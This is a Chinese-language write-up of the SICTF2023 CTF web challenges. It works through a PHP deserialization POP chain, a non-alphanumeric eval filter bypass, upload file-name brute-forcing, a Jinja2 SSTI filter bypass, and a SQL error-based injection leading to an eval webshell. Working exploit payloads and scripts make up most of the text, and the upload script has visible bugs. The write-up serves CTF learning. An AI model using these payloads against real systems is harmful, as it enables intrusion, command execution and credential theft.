SICTF2023 web_wp

兔年大吉

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

挺基础的一个反序列化，先找pop链：

Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call

简单写一下代码：

<?php

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
}

class Nevv{
    private $happiness;
    public function __construct($tmp)
    {
        $this->happiness = $tmp;
    }
}

class Rabbit{
    private $aspiration;
    public function __construct($tmp)
    {
        $this->aspiration = $tmp;
    }

}

class Year{
    public $key = "happy new year";
    public $rabbit;
}
$year = new Year;
$year2 = new Year;
$rabbit = new rabbit($year2);
$year->rabbit = $rabbit;
$happy = new Happy("system", "ls");
$nevv = new Nevv($happy);
$year2->rabbit = $nevv;
echo urlencode(serialize($year));
?>

直接打就行了

ezbypass

源码如下：

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['code'])) {
    $code = $_POST['code'];
    if (strlen($code) <= 105){
        if (is_string($code)) {
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
                eval($code);
            } else {
                echo "Hacked!";
            }
        } else {
            echo "You need to pass in a string";
        }
    } else {
            echo "long?";
    }
}

可以看到该过滤的都过滤了，而且payload长度限制了105，这样我们可以想到利用php的自增特性来构造攻击代码

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*

这里解释一下，(_/_) 的输出为NaN，再拼接一个_就可以名正言顺的成为一个字符串，然后我们就可以取"N"通过++来构造出POST

其实这段payload还可以更短，有兴趣的读者可以自行研究 ，最终我们得到的是$_POST[_]($_POST[__])，这样就可以命令执行了。

ezupload

源码如下:

<?php
    @error_reporting(0);
    date_default_timezone_set('America/Los_Angeles');
    highlight_file(__FILE__);
    if (isset($_POST['submit'])){
        $file_name = trim($_FILES['upload_file']['name']);
        $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);

        if (!in_array($file_ext, $black)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;

            if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        }else {
            $msg = '你传啥玩意？？';
        }
    }
    if($is_upload){
        echo '呀,（传）进去了欸~';
    }
?>

纸老虎，.php都没限制，就是date加随机数改了个文件名，我们可以在本地搭个一样的来得到文件名，然后往后爆破就能得到上传路径的文件了

这里注意手速一定要快，要不然要多爆破好久，检验代码如下:

import requests

url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'

for i in range('本地文件名', '比本地文件名大就行'):
    urls = url + str(i) + ".php"
    r = requests.get(url)
    if r.status_code == 404:
        continue
    else:
        print(q)

得到文件后，就是常规的getshell了。

SSTI

看页面源代码得到参数?SI,试了下{{1}},报违规字符了，说明{{是被限制了，我们利用{%print %}来绕过这个限制，这题很明显在考一系列的限制过滤

把关键的类都限制了，__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制，后面的我不想测试，所以都写成这个样子，payload如下:

?SI={%print config['__cla''ss__']['__in''it__']['__glo''bals__']['os']['po''pen']('cat /g*').read()%}

还是挺简单的

ezphp

开局一个登录界面，加个单引号，直接有报错，很明显报错注入，中途的测试过程我就省略了，直接上最后的payload:

admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#

账号密码admin:0909876qwe222

我们登录进去，随便输点东西，得到源代码:

<?php
ini_set('open_basedir',".");
error_reporting(E_ALL^E_NOTICE^E_WARNING);
session_start();
if($_COOKIE['admin']!=md5('adminyyds')){
    header('Location:/index.php');
    exit();
}
echo('<h1>WelCome!ADMin!!!</h1>');
echo('this is a site test pages for admin! ');
if(isset($_POST['url'])){
    echo file_get_contents($_POST['url']);
    show_source(__FILE__);
}
else{
    echo('<form action="/admin.php" method="POST">
    url:<input value="" name="url" type="text">
    </form>
    ');
}
//x9sd.php
?>

可以读文件，下面还给了hint

url=file:///var/www/html/x9sd.php

class a {
    protected $cmd;
    function __destruct()
    {       echo $this->cmd;
        @eval($this->cmd);

    }
}

if(isset($_GET['username']) && isset($_GET['unserx'])){
    $var = base64_decode($_GET['unserx']);

    if($_GET['username'] === "admin"){
        echo "nonono?";
    }
    $username = urldecode($_GET['username']);
    if($username === "admin"){
        unserialize($var);
    }
    unserialize($var);
    echo("success");
}else{
    echo "I need some ???";
}

有是一个反序列化，这个直接就是a了，都不用找链：

<?php
class a {
    protected $cmd;
    function __construct($tmp)
    {
        $this->cmd = $tmp;
    }

}

if(isset($_GET['username']) && isset($_GET['unserx'])){
    $var = base64_decode($_GET['unserx']);

    if($_GET['username'] === "admin"){
        echo "nonono?";
    }
    $username = urldecode($_GET['username']);
    if($username === "admin"){
        unserialize($var);
    }
    unserialize($var);
    echo("success");
}else{
    echo "I need some ???";
}
$a = new a('eval($_POST[1]);');
echo base64_encode(serialize($a));
?>

这样就getshell了

总结

web题不错，适合我这种新手做，这里抨击下ezmisc出题人，以后别这么出了。